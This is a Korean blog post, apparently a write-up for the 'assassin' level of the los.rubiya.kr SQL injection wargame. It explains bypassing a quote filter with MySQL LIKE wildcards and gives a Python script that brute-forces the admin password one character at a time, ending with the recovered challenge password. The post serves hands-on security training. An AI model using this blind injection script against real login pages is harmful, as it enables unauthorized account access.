반응형
[assassin]
이 문제는 큰따옴표를 우회를 하지 못하기 때문에 mysql에서 문자열을 검색할때 이용하는 %를 이용하여 풀면된다.
예를 들어 a로시작하는 문자를 찾고싶으면 a%를
ex) select * from table where name like 'a%';
중간에 a가 들어가는 문자를 찾고싶으면 %a%를
ex) select * from table where name like '%a%';
마지막문자가 a인 문자를 찾고싶으면 %a를 문자열로 입력하면 된다.
ex) select * from table where name like '%a';
즉, 우리는 비밀번호를 찾기 위해서 pw=0%부터 pw=z% 까지 입력을 하면서
Hello guest 또는 Hello admin이 뜨는 것을 찾으면 된다.
직접 일일히 하기는 힘들기 때문에 파이썬으로 코딩해서 문제를 풀면 된다.
import requests
password=''
for admin_len in range(99) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/assassin_14a1fd552c61c60f034879e5d4171373.php'
query={'pw': str(password)+chr(admin_pass)+'%'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'dvv1a14ive5r25trh8iuri40u3'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text or "Hello guest" in res.text):
password=password+chr(admin_pass)
print(password)
break
(비밀번호의 길이를 구하는 방법을 아직 찾지 못해 99로 잡았다.)
위의 파이썬을 실행시키면 '902EFD10'가 나온다.
반응형
'CTF_ > los.rubiya.kr' 카테고리의 다른 글
[los.rubiya.kr] succubus #17 (0) | 2018.09.26 |
---|---|
[los.rubiya.kr] zombie_assassin #16 (0) | 2018.09.19 |
[los.rubiya.kr] giant #14 (0) | 2018.09.12 |
[los.rubiya.kr] bugbear #13 (0) | 2018.08.28 |
[los.rubiya.kr] darkknight #12 (0) | 2018.08.26 |
댓글